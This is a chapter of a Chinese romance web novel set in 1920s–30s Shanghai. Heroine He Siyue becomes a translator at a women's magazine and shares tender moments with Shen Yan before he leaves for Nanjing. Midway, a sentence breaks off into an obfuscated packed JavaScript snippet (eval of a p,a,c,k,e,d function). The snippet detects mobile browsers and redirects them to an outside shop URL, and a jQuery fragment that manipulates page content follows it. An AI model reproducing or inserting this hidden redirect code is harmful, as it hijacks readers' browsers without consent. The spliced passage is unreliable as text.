走出私塾，沈晏的车已经等在门口。他看见她红着眼睛出来，什么也没问，只是拉开车门。


    “想去哪里？”他问。


    “随便开开，我想四处看看。”何思玥说，自从父母出事，她搞得人不人鬼不鬼的，也没有好好看看这上海滩。


    车子沿着黄浦江慢慢行驶。


    秋日的江面泛着粼粼波光，远处的外滩建筑在夕阳下镀上一层金色。


    这个城市依然繁华，依然忙碌，不会因为一个私塾的关闭而改变什么。


    “接下来有什么打算？”沈晏问。


    何思玥沉默片刻：“我想找份工作。不能总靠你养着。”


    “只要你想，我可以养你一辈子。”沈晏说得很自然。


    “我知道，我知道我们沈总很有钱。”何思玥转头看他，“但我想自己站着。”


    沈晏笑了：“好。想做什么？”


    “翻译。”何思玥说，“我在英国学的是文学，中英文都还可以。而且……翻译可以让我继续接触新思想，新知识。”


    沈晏点点头，没有多问。


    第二天，他就拿来几份杂志社的招聘信息。


    “《东方杂志》在招英文翻译，《妇女杂志》需要能翻译西洋女权著作的人，《申报》的副刊也需要懂外文的编辑。”他把资料摊在桌上，“看看你对哪个感兴趣。”


    何思玥仔细看着。


    最后，她的目光停在《妇女杂志》上——那是一本新办的刊物，主编是位留法归来的女作家，提倡“新女性，新生活”。


    “就这个吧。”她说。


    面试很顺利。主编林曼卿是个四十来岁的女子，梳着利落的短发，穿着西式套装，说话干脆利落。


    “何小姐的翻译作品我看过了，翻译地很有深度，文化底蕴很身后。”林曼卿推了推眼镜，“尤其是那篇《英国女子参政运动始末》，不仅译文准确，注释也很有见地。”


    “谢谢。”何思玥说。


    “不过我要提前说清楚，”林曼卿正色道，“《妇女杂志》虽然打着‘妇女’的旗号，但内容很激进。我们讨论避孕，讨论离婚，讨论女子独立——这些话题，在上海滩还很敏感。做我们的编辑，要有心理准备。”


    何思玥想起私塾被关的事，想起那些老学究的嘴脸，想起父母倒在血泊中的场景。她抬起头，直视林曼卿：“林主编，来面试的时候，我已经做好了一切准备了。”


    林曼卿看着她，眼神里闪过一丝欣赏：“好。下周一上班。月薪八十块大洋，试用期三个月。”


    八十块——这在当时是高薪了。


    何思玥知道，这多半是沈晏打过招呼的结果。但她没有拒绝。因为她需要这份工作，需要这个平台，需要继续她未竟的事业——让更多女子看见光。


    第一个月，她翻译了三篇长文：法国女作家科莱特的《流□□伶》，美国女权领袖斯坦顿的《自我之主权》，还有一篇关于日本女子教育的调查报告。


    文章刊出后，反响出乎意料地热烈。


    读者来信像雪片一样飞来，有的赞同，有的质疑，有的痛骂“伤风败俗”。林曼卿把一沓信放在她桌上：“何编辑，你成了。”


    何思玥翻开那些信。有一封来自苏州的女学生，说看了文章后决定不退学，要考大学；有一封来自上海的纱厂女工，说第一次知道女子也有“主权”这个词；还有一封来自北平的女教师，说要把杂志带进课堂，让更多女孩看见。


    当然，也有骂的。说她们“蛊惑人心”，说她们“破坏纲常”，说她们“该浸猪笼”。


    何思玥看着那些骂信，忽然笑了。


    “笑什么？”林曼卿问。


    “笑他们急了。”何思玥说，“但是也证明了一点，我们说的有道理，不然他们怎么会急成这样？”


    林曼卿也笑了：“说得对。所以，继续写，继续译。让该急的人更急，让该醒的人更醒。”


    工作之余，何思玥依然和私塾的女孩们保持联系。


    周晓芸考上了苏州的女子师范，来信说将来要回乡办学；沈希希的画被选送巴黎参展，虽然没获奖，但开了眼界；其他女孩有的进了工厂，有的去了百货公司当店员，有的嫁了人——但她们都记得何老师的话：眼睛里的光，不能灭。


    深秋的一个傍晚，何思玥加班到很晚。走出杂志社时，天已经全黑了。梧桐树的叶子落了大半，枝桠在路灯下投下瘦削的影子。


    沈晏的车等在街角。他靠在车边，手里拿着份报纸，看见她出来，立刻收起报纸迎上来。


    “这么晚。”他接过她的公文包。


    “赶一篇稿子。”何思玥说，“下期要做‘女子职业’专题，我负责写前言。”


    两人坐进车里。沈晏没有立刻开车，而是从后座拿出一个纸袋：“还没吃饭吧？新开的粤菜馆，烧鹅和叉烧。”


    纸袋还温着，香气飘出来。何思玥这才觉得饿，接过筷子小口吃起来。


    沈晏看着她吃，忽然说：“思玥，下个月我得出去一趟。”


    何思玥的手顿了顿：“去哪儿？”


    “南京。”沈晏说，“那边新开了分号，有些事必须我亲自处理。还不知道什么时候能回来。”


    “哦。”何思玥低头继续吃，但味同嚼蜡。


    “你……”沈晏看着她，“你一个人行吗？”


    何思玥抬起头，看着他担忧的眼神，忽然笑了：“沈晏，我已经不是那个需要你时时刻刻守在身边的人了。”


    她顿了顿，补充道：“但你不在，我会想你的。”


    这话说得很轻，却让沈晏的眼睛亮起来。他握住她的手：“我会尽快回来。每天给你发电报，空了我也会给你写信。”


    “好。”何思玥点头，“我等你。”


    车子驶过深夜的街道。何思玥看着窗外，这个她曾经差点失去的城市，这个让她失去一切又找回一切的城市，在夜色里闪烁着明明灭灭的灯火。


    私塾关了，但她的战场还在。


    父母不在了，但她爱的人还在。


    车子在公寓楼下停下。沈晏送她到门口，没有进去。


    “早点休息。”他说。


    “你也是。”何思玥站在门口，看着他。


    两人对视着，谁也没动。然后，沈晏上前一步，轻轻抱了抱她。


    不是紧紧的拥抱，是很轻的，像怕碰碎什么。但何思玥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987733|193555||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能感觉到，他的心跳很快，像鼓点。


    “等我回来。”他在她耳边说。


    “好。”她应道。


    他松开她，转身下楼。脚步声在楼道里渐渐远去。


    何思玥站在门口，许久，才推门进屋。房间里很安静，但不再冰冷。因为这里有了回忆，有了温度，有了等待。


    沈晏出差的倒数第三天，是个周日。


    何思玥难得不用去杂志社，沈晏也推掉了所有应酬。两人窝在公寓里，像寻常夫妻一样，过了很平常的一天。


    早晨，何思玥醒来时，沈晏已经在厨房做早餐了。她靠在厨房门框上，看着他系着围裙煎鸡蛋——动作不算熟练，但很认真。


    “真的很难想象，你竟然会做饭？”她问。


    “在英国时。”沈晏把煎蛋盛到盘子里，“那时候想吃中餐，又嫌外头的贵，就自己学着做。”他转过头，对她笑了笑，“不过只会煎蛋和煮面。”


    早餐很简单：煎蛋、面包、牛奶，还有沈晏特意去买的生煎包。两人对坐在窗边的小桌前，阳光透过白色纱帘洒进来，暖洋洋的。


    “今天想去哪儿？”沈晏问。


    “哪儿也不想去。”何思玥说，“就在家里待着。”


    沈晏愣了愣，随即笑了：“好，那我就在家里陪着你。”


    吃完早餐，何思玥洗碗，沈晏擦桌子。然后两人一起收拾房间——其实公寓很干净，有女佣定期打扫，但何思玥说，想自己动手。


    她擦桌子，他拖地；她整理书架，他给窗台上的花浇水。没有太多言语，只有偶尔的眼神交汇，和那种自然而然的默契。


    午饭后，沈晏在书房处理最后几份文件，何思玥坐在沙发上看书。


    她看的是沈晏从英国带回来的原版小说，《傲慢与偏见》。看到达西先生表白那段时，她忍不住笑了。


    “笑什么？”沈晏从文件里抬起头。


    “笑达西先生。”何思玥说，“他明明爱伊丽莎白，却说得那么傲慢。”


    沈晏放下笔，走过来在她身边坐下：“也许他不是傲慢，是不知道该怎么表达。”


    “怎么会不知道？”何思玥翻着书页，“爱一个人，不就是想对她好吗？”


    沈晏沉默了片刻，忽然说：“思玥，其实我一开始也不知道该怎么对你好，甚至还说了很多错话，让你误解。”


    何思玥抬起头看他。


    “送你礼物，你觉得我俗气；帮你办事，你觉得我算计；连关心你，都要包装成‘投资’。”沈晏自嘲地笑了笑，“因为我只会用商人的方式去爱人——计算得失，权衡利弊，寻找最优解。”


    “那现在呢？”何思玥轻声问。


    “现在……”沈晏看着她，眼神温柔，“现在我知道，爱不是计算题，没有最优解。爱是……是明知道可能血本无归，还是要把所有筹码都押上去。是明知道前路艰难，还是要陪着她一起走。”


    他顿了顿：“就像你父母出事时，我其实可以有很多选择——明哲保身，或者用更‘聪明’的方式解决。但那一刻，我脑子里只有一个念头：不能让她一个人面对。”


    何思玥的眼眶热了。她放下书，靠进他怀里。